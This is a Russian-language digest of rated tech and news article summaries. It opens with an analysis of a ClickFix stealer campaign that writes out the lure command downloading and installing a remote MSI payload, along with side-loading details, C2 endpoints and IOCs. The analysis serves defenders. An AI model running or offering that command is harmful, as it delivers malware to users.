В конце сентября зафиксирована кампания по доставке стиллера через технику ClickFix, нацеленная на граждан России. Суть ClickFix — социальная инженерия: на сайте (иногда даже легитимном, как spbume.ru или trubomet.ru) показывается фейковая капча «Подтвердите, что вы не робот», которая требует выполнить команду в системе — нажать Win+R и вставить строку вида msiexec /i https://flareru[.]live/ru[.]msi /passive. Так пользователь сам запускает ВПО.
Далее MSI-пакет разворачивает EXE-установщик Inno Setup в %localappdata%\Programs\Internal Software\Vertification и кладёт в C:\ProgramData\PapayaWhipGreenYellow\ файлы: легитимный FnHotkeyUtility.exe от Lenovo и вредоносную библиотеку spkvol.dll (написанную на Rust). Используется приём DLL Side-Loading — вредоносный код подгружается в доверенный процесс Lenovo. Попутно меняются ключи реестра, включающие доверие всей сети и отключающие средства мониторинга.
Затем создаётся папка с расширением для скрытого msedge (флаг --headless), которое становится каналом связи с C2. Расширение запрашивает широчайший набор разрешений (cookies, history, tabs, scripting, management, bookmarks, proxy, declarativeNetRequest, nativeMessaging) и через Native Messaging Host (com.lunex.explorer) запускает PowerShell-скрипт с командами list, read, write, run. Скрипты расширения вырезают заголовки CSP (content-security-policy и др.) из ответов и HTML, а также перехватывают события click/submit и крадут логины/пароли из полей username, email, tel, password, отправляя их на C2 в виде {url, username, password}.
C2-адрес: http://193.178[.]158[.]61:8080/api/v1 с множеством эндпоинтов — отправка cookies, закладок, паролей, истории, скриншотов, управление файлами (explorer/run, download-chunk, upload-pull) и удалённый контроль экрана через WebSocket (mouse_move/down/up, scroll, key_down/up). По сути расширение является полнофункциональным RAT.
Приведены индикаторы компрометации: хэши SHA256 (7aa38096..., f248c14d..., 029cd072...), домены flareru[.]live, trubomet[.]ru, spbume[.]ru, IP 193.178.158.61, Extension ID hkaopoilcdlhchigljlbkjlehdiplmce, Product Code {66CF92BA-0B25-409e-81EF-E37A700259FA} и пути на диске.
Отмечается, что похожая кампания фиксировалась в сентябре по Украине (по данным The Hacker News), но там использовался уязвимый драйвер, а в атаке на россиян — пользовательское ПО Lenovo.
Это не реклама, а глубокий оригинальный технический разбор реальной актуальной киберугрозы с полной цепочкой, IOC и практической ценностью для ИБ-специалистов и обычных пользователей. Слегка снижает вес некоторая незавершённость (автор сам не разобрал библиотеку до конца).
Microsoft окончательно прекратила поддержку десктопного Publisher. С 1 октября к программе потеряли доступ подписчики Microsoft 365, а 13 октября завершилась поддержка бессрочной версии Publisher вместе с Office 2021 и Office LTSC 2021. На этой неделе приложение начало исчезать с ПК, и открывать или редактировать файлы .pub в Microsoft 365 больше нельзя. Тем, у кого Publisher ещё остался в меню «Пуск», советуют успеть конвертировать файлы в PDF; для пакетного перевода выпущен PowerShell-скрипт Convert-PubFileToPDF.ps1, обрабатывающий вложенные папки. Первая версия Publisher вышла в 1991 году: сначала программа продавалась отдельно, позже входила в некоторые редакции Office. В отличие от Word с последовательными абзацами, Publisher строился на отдельных блоках для текста, изображений, рамок и графики, что сохраняло точную вёрстку. Универсальной замены Microsoft не предлагает: для счетов, форм и конвертов рекомендует Word, для плакатов, вывесок и рекламы — PowerPoint. Пользователи бессрочных версий могут продолжать работать, но без обновлений безопасности и функций, а совместимость с будущими Windows и Office будет снижаться.
Сварщик из Санкт-Петербурга без профильного IT-образования за три месяца вечерней работы собрал исследовательский прототип доверенной вычислительной базы Schild TCB поверх микроядра seL4 на Ada/SPARK для x86_64 (проверено на ThinkPad T580). Итог: два образа — полностью самописный bare-metal (загрузчик, драйверы NVMe и e1000e, свой сетевой стек и планировщик) и образ на чужом, но проверенном микроядре seL4, где своё — root-задача на Ada и изолированные демоны. Автор честно разделяет «работает ли» (bare-metal) и «доказано ли» (seL4) и не претендует на авторство ядра.
Ключевое — формальная верификация в SPARK, где постусловия доказываются для всех входов, а не на тестах. Примеры: MLS-политика Белла-Лападулы (No Read Up, No Write Down, Strict IPC) и аллокатор физических кадров с доказательством выравнивания адреса. Из 185 модулей ядра 108 доказаны полностью, not-proved ноль, 39 skipped (ассемблер, MMIO, AES-NI — их в SPARK не загнать) и 38 спецификаций без тела; семь демонов root-задачи доказываются отдельно. Главный практический результат верификации: баг с правами страниц (ReadOnly:=1 в MLS-кольцах трактовалось как Write из-за раскладки CapRights у seL4) тесты не поймали, а gnatprove показал контрпример; исправление в одну строку. Автор подчёркивает: тесты не нашли — доказательство нашло.
Роль ИИ описана взвешенно: как справочник и инструмент код-ревью (объяснение спецификаций seL4, перевод контрактов SPARK, поиск зацепок при not-proved), но не как автор системы — ИИ часто ошибался в нюансах микроядерной архитектуры.
Изоляция: сеть и хранилище вынесены в Ring 3 (драйвер e1000e, TCP/IP, HTTP-сервер, NVMe, ФС SchildFS), у доменов отдельные CSpace/VSpace, общение только через IPC по capabilities. Логика эскалации сбоев взята из ARINC 653 и зафиксирована в контрактах (перезапуск процесса → остановка домена → Module_Idle), различаются fault- и timeout-эндпоинты, бюджеты CPU задаются на уровне ядра в микросекундах (NetServer 5000, MLS 2000, Config Daemon 1000).
Честно перечислены незакрытые места: нет DMA-изоляции из-за IOMMU (спорадический scheduling context зависает на 33–67% под KernelVerificationBuild=OFF, триггер в refill-пути планировщика seL4 — upstream-ограничение x86_64); SMAP жёстко связан с CONFIG_PRINTING (логи или SMAP, но не оба); доказательство x86_64 MCS слабее, чем ARM MCS. Отдельно — найденный автором баг с формулой MAX_NUM_DRHU, раздувавшей .boot.bss до ~6 МБ и вешавшей загрузку на машине с 32 ГБ (патч: ограничить восемью IOMMU). Отладка без UART через светодиоды Num Lock/Caps Lock и баг с clflush только первой кэш-линии, из-за которого длинные HTTP-ответы дропались.
Оценка: это не реклама и не пересказ известного, а редкий по глубине и честности технический отчёт с реальными артефактами и осмысленным применением ИИ; тема формальной верификации ОС и микроядерной изоляции актуальна и по сути остросоциальна (человек без IT-образования на равных разбирается в доказательствах). Минусы — локальный проект без репозитория, часть выводов только в QEMU, местами избыточные детали и «блоговая» подача.
Автор описывает подход к интеграциям 1С, при котором обмен настраивается не кодом (процедура на сотни строк, разбирающая JSON и заполняющая документ), а данными: в расширении хранятся сущности «настройка интеграции» (направление, метод, ключ идентификации, объект 1С), «правила определения свойств» (путь в сообщении — реквизит), «обработчики событий» для нестандартной логики и «журнал сообщений». Типовая конфигурация при этом остаётся на поддержке и не меняется, HTTP-сервис расширения принимает сообщение, находит настройку по методу, применяет правила и пишет результат в журнал.
Главная идея: раз обмен описывается данными, эти данные может сгенерировать AI-помощник. На вход он получает три вещи — текст задачи словами (например, «сайт присылает заказ, создать Заказ клиента, покупателя найти по телефону, товары по артикулу»), пример реального JSON-сообщения и объект-образец из базы (из него берутся метаданные и реально заполняемые поля). На выходе — направление обмена и имя метода, таблица правил «путь в JSON — реквизит», правила поиска ссылочных значений и заготовка обработчика формирования объекта (приведён упрощённый пример кода на встроенном языке 1С с поиском номенклатуры по артикулу).
Ключевой момент — ответ не исполняется вслепую: он загружается в форму, где виден целиком, человек проверяет правила и запускает тестовую обработку, которая строит объект по примеру, но ничего не пишет в базу; только после этого настройка включается. Автор честно перечисляет грабли: помощник путал направление обмена, пока в задаче явно не указывали, что сообщение входящее; ошибался с типами (ждал массив там, где в примере объект); предлагал синтаксически верный, но бессмысленный ключ поиска (покупатель по имени вместо телефона) — такое ловит только человек.
Далее описан механизм исполнения: HTTP-сервис, очередь, журнал, повтор при ошибках, защита от дублей по ключу сообщения, чтобы повторная доставка не создавала второй документ. Подчёркивается универсальность: механизм не знает, что такое «сайт», ему нужен лишь формат сообщения и объект 1С, поэтому так же описываются письма с вложениями, прайсы из папок, Telegram-боты, нишевые CRM, программы клиник, а также обратная выгрузка статусов и остатков из 1С. Ограничения: OAuth2, подписи запросов и сертификаты требуют разработчика, сложные вложенные структуры уходят в обработчики, ответственность за маппинг остаётся на человеке.
По сути статья — технический разбор узкой задачи с внятной инженерной логикой, но с ощутимым рекламным уклоном: в конце даётся ссылка на сервис svjazka.com и Telegram-канал автора, а сам материал продвигает конкретный продукт. Прорывных или общественно значимых тем нет, ценность — прикладная и узкопрофильная, для 1С-разработчиков и интеграторов. Из-за промо-составляющей и отсутствия остроактуальной или политэкономической повестки оценка умеренная.
Статья развенчивает популярный миф о том, что один кубит якобы хранит бесконечное или почти бесконечное количество информации из-за непрерывности сферы Блоха. Автор напоминает: математическая непрерывность амплитуд и фазы не означает физической бесконечности. Реальный кубит управляется конечной электроникой, обычно 14–16-битными ЦАП, а тепловой шум и декогеренция ещё сильнее ограничивают различимость состояний. Поэтому до измерения в фазе и амплитуде можно условно закодировать эквивалент примерно 10–15 классических бит, но по теореме Холево из одного кубита при измерении всё равно нельзя извлечь больше одного классического бита. Главный источник квантового преимущества не в «бесконечной ёмкости» одного кубита, а в запутанности и экспоненциальном росте размерности гильбертова пространства: N кубитов дают пространство из 2^N амплитуд, а квантовые алгоритмы за счёт интерференции гасят неправильные ответы и усиливают правильный. Квантовый компьютер — это не магия, а дискретный физический инструмент, зажатый ограничениями точности, шума и управляющего железа.
Оценка: тема актуальная и полезная для борьбы с хайпом вокруг квантовых вычислений, статья не рекламная и объясняет важные вещи про кубиты, интерференцию и теорему Холево. Но есть спорные упрощения: «10–15 бит в одном кубите» — скорее инженерная аналогия, чем строгая характеристика; непрерывность амплитуд в квантовой механике всё же физична, хотя и недоступна для прямого считывания. Полезность высокая для интересующихся, но адекватность местами страдает из-за популярного упрощения.
АКИТ, объединяющая крупнейших онлайн-ретейлеров, маркетплейсы и сервисы доставки, попросила правительство разрешить российским компаниям хранить и обрабатывать персональные данные россиян в дата-центрах дружественных стран. Письмо направлено премьеру Михаилу Мишустину, в ассоциации подтвердили факт отправки. Предлагается специальный правовой режим для компаний, пострадавших от масштабных аварий и повреждений цифровой инфраструктуры: временно размещать критически важные системы за рубежом, если обеспечить их работу в России невозможно. Для этого нужно временное исключение из закона о персональных данных, требующего первичную обработку в российских базах. Режим хотят применять на период восстановления инфраструктуры, но не позднее 1 марта 2028 года. Условия: официальное подтверждение инцидента, невозможность работы систем в России и соблюдение требований информационной безопасности. Перечень стран определит уполномоченный орган, порядок выдачи разрешений АКИТ планирует разработать с Минцифры и Роскомнадзором. После стабилизации компании должны вернуться к обычному порядку. Также предлагается не вводить дополнительные платежи за международный трафик для резервирования.
Ассоциация больших данных называет инициативу логичной антикризисной мерой, но призывает не ограничиваться временными исключениями, пересмотреть подходы к резервированию и облакам и строить российские ЦОД в регионах с доступной электроэнергией. Зарубежные мощности должны дополнять отечественную инфраструктуру, а не заменять её. Эксперт Алексей Мунтян отмечает, что режим будет включаться только после подтверждённого инцидента, то есть заранее держать резерв за рубежом нельзя. Он напоминает, что требование локализации по 152-ФЗ касается только сбора персональных данных, поэтому бизнес может распределять копии уже сейчас. Риски усиливают мораторий на проверки и выбор стран по дружественности, а не по уровню защиты данных. Копии за рубежом он советует хранить зашифрованными с ключами в России и сохранять ответственность компании перед клиентами.
Автор натянул DLSS 5 через RenoDX на Media Player Classic и попробовал в реальном времени раскрашивать чёрно-белые фильмы, взяв «Малыша» Чаплина 1921 года (общественное достояние). Идея выросла из его же эксперимента с L.A. Noire, где при denoise before upscaling и мультипассе (4х и более) DLSS начинал «галлюцинировать» и подкрашивать картинку. Прогон файла по частям не сработал — результат оставался стабильно чёрно-белым, поэтому обработку включили прямо в плеере в режиме x10. Из моделей (Default, Natural, Cinematic) нормально красит только Default, остальные просто пережёвывают серое. Итог сырой и местами абсурдный: цвета грязно-бурые, лишь кое-где проступают синяя куртка или рыжая шерсть; лица замыливаются — Чаплин потерял усики и постарел лет на двадцать, женщине в сцене с полицейским на пару секунд дорисовало бороду и шапку, а сухая пыльная дорога превратилась в мокрый асфальт с отражениями и ливнем. Всё это работает без векторов движения и карты глубины, которых требовала Nvidia. Автор отмечает, что 13 октября Nvidia показала обновлённую модель вдвое быстрее сентябрьской и на лицах она теперь работает скромнее, а 23 октября в RTX Remix обещают маски для отдельных элементов сцены и пресеты на каждый объект — то есть можно будет запретить модели трогать лица и красить только остальное.
Материал — курьёзный эксперимент ради эксперимента, честно и с самоиронией описанный, но без практической пользы и без прорыва; это скорее занимательный технический фокус, показывающий границы возможностей нейросетевого апскейла. Ценности для полит-экономической или остросоциальной повестки нет, рекламы тоже нет. Интересно узкому кругу энтузиастов, полезность и значимость низкие.
Вице-премьер Александр Новак на полях Российской энергетической недели заявил, что мощности по производству дизельного топлива в России вдвое превышают потребности внутреннего рынка. Запаса хватает и на обеспечение внутреннего спроса, и на экспорт — даже с учётом ремонтов отдельных установок. В текущем году из-за части мощностей, находящихся в ремонте, показатели несколько ниже, но в целом топлива достаточно.
Новак отдельно отметил, что любые атаки, приводящие к остановке основного оборудования под ремонт, негативно влияют на выпуск продукции. При этом Минобороны и бизнес совместно работают над защитой НПЗ по двум направлениям: военное ведомство усиливает систему ПВО, в том числе за счёт финансирования компаниями, а сами компании обеспечивают пассивную защиту, возводя ограждающие конструкции.
По сути — короткий официальный комментарий без новой фактуры: подтверждение достаточности мощностей, признание влияния ударов по НПЗ на выпуск и описание уже известной схемы защиты заводов (ПВО плюс физические укрытия и ограждения). Аналитики, цифр по конкретным объёмам экспорта или потерям от атак в материале нет.
Автор делает для сайта-визитки на Rust маскота-ведьму Кики: 12 спрайтов, 5 эмоций для состояний терминала. Он показывает, что простой запрос к Qwen Image 2.1 «сделай пиксель-арт» не даёт настоящий пиксель-арт: картинка лишь выглядит пиксельной, но содержит десятки тысяч цветов, сглаженные края и не имеет целой сетки. Настоящий спрайт отличается тремя проверяемыми свойствами: один цвет на пиксель, единая целочисленная сетка, бинарная альфа. Для этого собран пайплайн: обрезка по силуэту, свёртка блоков 4×4 через медиану, а не среднее, общая палитра на все кадры через median cut, привязка каждого пикселя к палитре, очистка ореола и тени с перекраской внутренних областей вместо вырезания, защита глаз по насыщенному зелёному и светлой тёплой коже, карта блоков для проверки разного размера плоских областей. Отдельно показано, что готовые ноды вроде Krea2 Pixel Art Refiner и PixelOE умеют ограничивать палитру, но не дают общую палитру на набор, бинарную альфу и спрайт как данные. На сайте остаётся проблема: файлы уменьшаются в 120 и 96 px дробно, из-за чего браузер пересэмплирует спрайт, и в отгруженном PNG снова тысячи цветов вместо палитры; лечится набором файлов под srcset или рисованием на сетке 24×32. Код пайплайна писал агент DeepSeek, автор занимался постановкой, разведкой и приёмкой; репозитории открыты. В бонусе — живые обои для Wallpaper Engine на той же логике целочисленного масштабирования и детерминированной сборки. Статья техническая, без явной рекламы, с большим количеством измерений и честным разбором ограничений. Она актуальна для темы генеративного ИИ и пайплайнов обработки изображений, но узкоспециальна и не затрагивает политэкономические или остросоциальные вопросы.
Пользователь АШ просит у сообщества отзывы об эффективности медицинского бактерицидного рециркулятора «Компакт Ореол Здоровья С100» — ультрафиолетового обеззараживателя воздуха с HEPA-фильтром M5. Повод бытовой: двухлетний внук болеет практически непрерывно, из-за этого семья отказалась от уже подготовленного переезда в Белоруссию, а родители постоянно сидят на больничных.
Приведены характеристики: цена около 5 тыс. рублей, производительность 35 м³/ч (помещение до 25 м² при потолках 2,8 м), шум до 35 дБ, ресурс лампы свыше 9000 часов, лампа 9 Вт, габариты 85×85×300 мм, вес 1,5 кг, питание 220 В, работа от +5 до +40 °C, гарантия 2 года. Размещение настольное, напольное или настенное (подставка и крепёж в комплекте). Сменный фильтр задерживает частицы крупнее 1 мкм — бактерии, пыль, пыльцу, споры. Рекомендованный режим: профилактически 1–2 раза в день по 2–3 часа, при заболевании — круглосуточно. В части модификаций есть Wi-Fi и приложение «Ореол Здоровья». В отзывах хвалят тихую работу и снижение заболеваемости в семье, из минусов упоминают лёгкий запах от проходящего воздуха.
Собственно ответа на вопрос в материале нет — это запрос помощи, а не разбор. Полезной конкретики немного: технические параметры и цена устройства, то есть фактически пересказ карточки товара плюс личная жалоба на частые детские болезни. Никаких измерений, сравнений с аналогами, данных о реальной эпидемиологической эффективности УФ-рециркуляторов в жилых помещениях, оценок ресурса лампы на практике и стоимости расходников здесь не приводится. Как справочная зацепка при выборе прибора — годится, как аналитика — нет.
ArchitectSimbirSoft16.10.26 15:02в базе 16.10.26 15:08
Обзорная статья от Data Engineer компании SimbirSoft про движки таблиц в ClickHouse. Разъясняется, что любой таблице в ClickHouse соответствует движок, определяющий способ хранения данных, виды доступа, индексы, репликацию и многопоточность. Разобраны основные категории. Семейство *MergeTree — основа хранения: базовый MergeTree (колоночное хранение, гранулы по 8192 строки, разреженный индекс, партиционирование, фоновое слияние частей), SummingMergeTree (суммирование числовых полей по ключу сортировки), AggregatingMergeTree (агрегатные функции, включая SimpleAggregateFunction и AggregateFunction с состояниями uniqState/uniqMerge), ReplacingMergeTree (дедупликация), CollapsingMergeTree и VersionedCollapsingMergeTree (сворачивание пар строк через Sign и version для быстрого удаления/обновления без дорогого UPDATE), ReplicatedMergeTree (репликация через ZooKeeper). Интеграционные движки: S3, PostgreSQL, Kafka (чтение потоков и подписка на топики). Семейство *Log (TinyLog, Log, StripeLog) — для быстрой записи временных данных до миллиона строк, без индексов и модификаций. Специализированные: EmbeddedRocksDB (key-value), File и URL (работа с файлами локально и по HTTP), Buffer (буферизация мелких вставок), Memory (ОЗУ, кеш/кольцевой буфер), Set (для IN), Join (подготовка справочников для JOIN), Merge (чтение из множества таблиц). Ключевой практический вывод: слияния и агрегации работают асинхронно в пределах одной части данных, поэтому для гарантированного результата нужны FINAL или OPTIMIZE TABLE, но FINAL заметно медленнее. Материал полезен как систематизированная шпаргалка для начинающих и как обзор для опытных, примеры кода прилагаются. При этом это не новость и не прорыв — фундаментальные, давно известные сведения, актуальность для текущей повестки низкая; статья размещена в корпоративном блоге с мягкой саморекламой компании и приглашением в её соцсети, что немного снижает ценность.
NASA завершила сборку двух твердотопливных ускорителей SLS для Artemis III и установила все четыре двигателя RS-25 на центральную ступень. В ближайшие месяцы часть ракеты вывезут на стартовый комплекс 39B для испытательной заправки жидким водородом и кислородом; перед этим проложат кабели и соединят центральную ступень с боковыми ускорителями, но без корабля Orion и верхней части. Экипаж — Рэнди Бресник, Фрэнк Рубио, Андре Дуглас и Лука Пармитано — проведёт репетицию предстартовых действий и эвакуации. Программа Artemis III изменена: запуск теперь планируется в 2027 году, Orion останется на низкой околоземной орбите для отработки сближения и стыковки с испытательными лунными кораблями SpaceX и Blue Origin, а первая новая высадка на Луну намечена на Artemis IV в 2028 году.
Fairway — открытый балансировщик корпоративных прокси на Go (один бинарник без зависимостей, веб‑панель, лицензия Apache 2.0), решающий проблему, которую не видят обычные health check: прокси может быть жив, но конкретный сайт через него не работает. Классический случай — партнёрский банк пускает в API только с согласованных адресов, а выход питерского филиала в список не попал; или зеркало пакетов через европейский выход отдаёт втрое быстрее московского. Fairway встаёт перед прокси, копит статистику по парам «домен, прокси» и на каждом запросе сам выбирает лучший выход для этого сайта. Клиенты настраиваются на один адрес, апстримами могут быть HTTP, HTTPS, SOCKS5 или прямой выход. Конфигурация строится из трёх понятий: прокси, лист (набор прокси) и правило домена с индивидуальными таймаутами и лимитами; всё правится в панели или в одном JSON, перечитывается на лету, битая правка не применяется. Для каждой пары считается «цена» — оценка времени типичного ответа на 64 КБ с учётом подключения, времени до первого байта, скорости и ошибок; выбор идёт взвешенной лотереей, но 10% запросов уходит на разведку, чтобы починившийся медленный выход мог вернуться. Бан наступает после трёх подряд ответов 403/429, обрывов или страниц антибот‑проверки, действует только для этого сайта и удваивается при рецидивах; после бана даётся один пробный запрос. Запрос повторяется через другой прокси, но POST, дошедший до сайта без ответа, не повторяется намеренно — чтобы не отправить второй платёж. Для точного распознавания банов внутри HTTPS можно включить расшифровку TLS со своим корневым сертификатом, раскатываемым групповой политикой; для софта с certificate pinning (банк‑клиенты) её отключают. Есть плагины — модули WebAssembly в песочнице с явно выданными правами (чтение/правка конфига, события банов, HTTP на разрешённые хосты, обработка запросов), работающие одинаково на Linux, Windows и macOS; упавший плагин не роняет прокси. Отличие от Squid и HAProxy: те балансируют статически по кругу, соединениям или весам и проверяют живость одним health check, тогда как Fairway отвечает на вопрос, работает ли данный прокси с данным сайтом и насколько хорошо; Squid он не заменяет, а лишь распределяет запросы между прокси. Заявленная производительность на локальном стенде — около 60 тысяч запросов в секунду через туннели и около 7 тысяч с расшифровкой. Проект публикует сам автор, поэтому заявленные цифры независимо не проверены, а перехват TLS — функциональность, требующая аккуратного применения.
В React 19.3 от 9 сентября 2026 года главное — не отдельные API, а смещение React в сторону большего контроля над анимациями, DOM, SSR и границей сервер-браузер. Стабильным стал компонент ViewTransition: внутри startTransition React сам запускает переходы enter, exit, update и share, по умолчанию использует cross-fade, но можно задавать свои CSS-классы и анимации. Это частично заменяет framer-motion, ручные isVisible/isMounted и CSS-переходы, а также позволяет анимировать переход от Suspense fallback к контенту. Fragment Refs дают ref напрямую на Fragment без лишнего div-обёртки, что полезно для UI-китов, дизайн-систем и компонентов вроде InView: можно работать с группой дочерних DOM-узлов, фокусом, наблюдателями и событиями. API browser() из react-dom помогает в SSR: компонент или его часть явно помечается как браузерная, на сервере приостанавливается через Suspense, а после гидратации продолжает работу на клиенте, убирая старые хаки с mounted и typeof window. Также упоминаются дополнительные возможности Server Components с Context. Общий вывод статьи: React постепенно забирает на себя рендеринг, сервер, браузер, загрузку, переходы и DOM, сокращая количество обходных паттернов. Минусы: материал довольно поверхностный, с опечатками и без глубокого разбора миграции, подводных камней и ограничений. Рекламной составляющей нет, тема актуальна для фронтенд-разработчиков, но узка и не прорывна.
Автор предлагает отказаться от антидетект-браузеров (Camoufox, Playwright, AdsPower) и резидентских прокси при работе AI-агентов с сайтами, заменив мимикрию под человека на криптографическую идентификацию. Идея: вместо User-Agent и фингерпринтов агент подписывает HTTP-запрос ключом Ed25519 по стандарту IETF RFC 9421 (HTTP Message Signatures, февраль 2024), плюс заголовок Signature-Agent со ссылкой на каталог публичных ключей (направление Web Bot Auth). Сервер за несколько миллисекунд достаёт ключ из доверенного каталога с кэшированием, собирает каноническую строку подписи, проверяет подпись и метки created/expires от replay-атак. Приводится своя открытая реализация wbauth из трёх частей: npm-пакет wb-auth (подписант для Node/Bun/Deno/Workers и верификатор для WAF), PyPI-пакет wbauth-sdk (адаптеры httpx и requests) и Cloudflare-каталог ключей на Workers + D1. Заявленные цифры: холодный старт 5 мс против 1744 мс, запрос 15,8 мс против 86,8 мс, память процесса 0,76 МБ против 500 МБ, диск 14 МБ против 1,3 ГБ. Даны короткие примеры кода на Python и TypeScript, а также список шагов проверки на стороне сервера, включая пропуск запросов в обход капч Cloudflare. Ссылки на GitHub и пакеты, приглашение к дискуссии. Оговорок о методике замеров по факту почти нет — сравнение браузерного антидетекта с чистым HTTP-клиентом некорректно по постановке.
Оценка: тема реально актуальная (RFC 9421, верификация AI-агентов, Web Bot Auth), но материал по сути — самореклама собственного проекта с сильно завышенными и методологически сомнительными бенчмарками, спорным тезисом про обход капч (что противоречит самой декларируемой идее легальной идентификации) и типичным для Хабра промо-финалом со ссылками на npm/PyPI. Полезного ядра меньше, чем маркетинга.
Смысл публикации WSJ сводится к тому, что Зеленский якобы готов на 100 дней прекратить удары по российским нефтеперерабатывающим заводам в обмен на то, что США расширят зону покрытия Starlink примерно на 300 км вглубь территории России, чтобы ВСУ могли применять дроны на этой дальности. То есть Киев предлагает не мирный жест, а торговую сделку: временно не бить по одному типу целей в обмен на техническую возможность бить глубже и по другим целям. Подаётся это как некий «компромисс», хотя по сути речь о расширении ударных возможностей Украины за счёт американской спутниковой инфраструктуры. Отдельно упоминается, что украинская сторона ранее жаловалась на ограничения в работе терминалов Starlink на своей территории — это и есть фон торга: Киев давит на Вашингтон, требуя более полного доступа к связи для дронов. Никаких подтверждений со стороны США или конкретных договорённостей в заметке нет — это утечка-проброс из западной прессы, где Киев выставляет себя «конструктивной стороной», а фактически просит нарастить эскалацию. Полезной фактуры минимум: нет данных о том, кто и на каких условиях это обсуждал, есть ли реальные переговоры, какова реакция Москвы и Вашингтона.
Ledger представила Android-смартфон Atom с аппаратным криптокошельком. Устройство за $900 начнут поставлять летом 2027 года, предзаказ уже открыт. Для криптотранзакций Atom переключается в Ledger OS на отдельном защищённом чипе. Это почти обычный Android-смартфон: 6,77-дюймовый OLED на 60 Гц, чип Qualcomm Dragonwing, одна задняя камера, аккумулятор 4000 мАч. eSIM работает только для передачи данных, звонков и СМС нет. Есть физический переключатель, отключающий питание камеры и микрофона. Обновления Android — пять лет, запчасти — минимум семь лет, аккумулятор заменяемый.
Владельцы смогут обмениваться зашифрованными сообщениями через обычные Android-приложения, но расшифровка происходит внутри Ledger OS. Учтена работа ИИ-агентов: в партнёрстве с OpenClaw Atom позволяет агентам выполнять финансовые операции без полного доступа к кошельку, а для завершения транзакции требуется физическое подтверждение. Ledger подчёркивает, что Atom не замена смартфону: конкурировать с лучшими Android-устройствами по камере и другим характеристикам компания не пыталась.
Запуск совпал с плохими новостями для Ledger. Компания подтвердила, что как минимум одно её устройство для криптотранзакций продавалось с несанкционированным аппаратным имплантом, который считывал сид-фразы и передавал их через eSIM. Продажи приостановлены в Юго-Восточной Азии и у немецкого ретейлера MediaMarkt. СМИ писали о возможной краже криптовалюты более чем на $86 млн, но Ledger масштаб потерь не подтвердила. В Atom обещают физические защиты: корпус сложнее вскрыть, он обнаруживает сверление, снятие экрана и задней крышки, а заднюю крышку нельзя заменить на деталь от другого такого же устройства. По упаковке можно определить, открывали ли её до покупки.
Статья объясняет классическую головоломку о трёх домиках и трёх колодцах как задачу планарности графа K3,3. Доказательство невозможности девятой тропинки даётся через формулу Эйлера: у K3,3 шесть вершин и девять рёбер, значит граней должно быть пять, но каждый цикл здесь имеет длину минимум четыре, поэтому граней может быть не больше четырёх. Аналогично разбирается K5. Далее формулируется теорема Понтрягина-Куратовского: граф планарен тогда и только тогда, когда внутри него нет подразделённого K3,3 или K5. Отсюда следует, что у ответа есть проверяемый сертификат: для непланарного графа это растянутый K3,3 или K5, для планарного — укладка с порядком рёбер вокруг вершин.
Рассказывается об алгоритмах проверки планарности: линейном алгоритме Хопкрофта—Тарьяна 1974 года и упрощённом линейном алгоритме Бойера—Мирволда 2004 года. Второй используется, например, в Boost, а SageMath оборачивает эталонную реализацию Edge Addition Planarity Suite. Автор статьи дописывал в эту библиотеку код для форматов хранения графов.
Проверка корректности велась перебором всех неизоморфных простых графов: на 9 вершинах их 274 668, на 10 — 12 005 168, из которых планарны 1 140 916, что совпадает с OEIS. Ответы библиотеки сравнивались с проверкой из nauty на каждом графе: расхождений ноль, но это не является строгим доказательством корректности, так как обе программы могли бы ошибаться одинаково.
Значительная часть статьи посвящена форматам graph6, sparse6 и инкрементальному sparse6. Для 12 миллионов графов на 10 вершинах graph6 занимает около 120 МБ, sparse6 — 276 МБ, а инкрементальный sparse6 — около 65 МБ. На 11 вершинах такой файл был бы около 12 ГБ, на 12 — больше двух терабайт. Замеры на MacBook Air M3 показали: чтение 12 миллионов графов занимает примерно 4,2 секунды из graph6 и 2,7 секунды из инкрементального sparse6, а полный прогон проверки планарности — 22,8 и 21,9 секунды соответственно. То есть выигрыш в основном в размере файла, а не в скорости. Для одного максимального планарного графа на 10 миллионов вершин и почти 30 миллионов рёбер текстовый список смежности занимает 571 МБ и читается около 30 секунд, тогда как sparse6 занимает 125 МБ и читается за 10—11 секунд, при том что сама укладка занимает 5—6,5 секунды.
Также описаны практические ловушки: при чтении из стандартного ввода нельзя повторно открыть поток и подсмотреть начало файла; инкрементальный sparse6 не поддерживает мультиграфы, а при кратных рёбрах copyg может молча сократить их по модулю два и выдать другой граф. Вывод: формат нужно выбирать по узкому месту — для миллионов маленьких графов ради диска, для больших графов ради скорости чтения. В конце напоминается, что на торе K3,3 рисуется без пересечений, например на кружке с ручкой.
Материал не рекламный, технически сильный и оригинальный: есть математика, алгоритмы, инженерные детали, бенчмарки и разбор ошибок. Полезен в первую очередь программистам и исследователям, связанным с теорией графов, форматами данных и научным софтом. При этом тема узкая, не злободневная и не социально-политическая, прорывной для широкой аудитории её назвать нельзя.
Автор — активный пользователь ИИ, не противник технологии, но делится тревогой о смене роли разработчика. Он описывает типичный цикл: настроил агента, дал контекст, проверил план, запустил, получил хороший код, чуть поправил, отправил в ревью, тест, прод. Формально задача бизнеса решена, фича его — но нет чувства, что это он решил техническую проблему: он не думал, не копался в документации и Stack Overflow, а несколько раз нажал «Разрешаю». Ссылаясь на эффект IKEA (чем больше вложил труда, тем ценнее результат), автор говорит о потере гордости за результат и связи со своим кодом — и отмечает, что такие жалобы всё чаще звучат на Хабре, Reddit и YouTube.
Главный тезис: ценность программиста всегда была инструментальной — он был нужен бизнесу, чтобы зарабатывать деньги. Принципы (ООП, DRY, KISS, SDLC, DevOps) и власть над процессом существовали не ради бизнеса, а ради удобства самого разработчика: чтобы переживать абсурдные смены требований без психиатра и чтобы новый человек мог разобраться в легаси. Бизнесу же в конечном счёте плевать на архитектуру и легаси — важно лишь, чтобы продукт приносил доход, а чинить его заставляют не нарушенные принципы, а ушедшие к конкурентам клиенты. ИИ убирает необходимость в общем языке паттернов: машина пишет для машины и делает это неплохо.
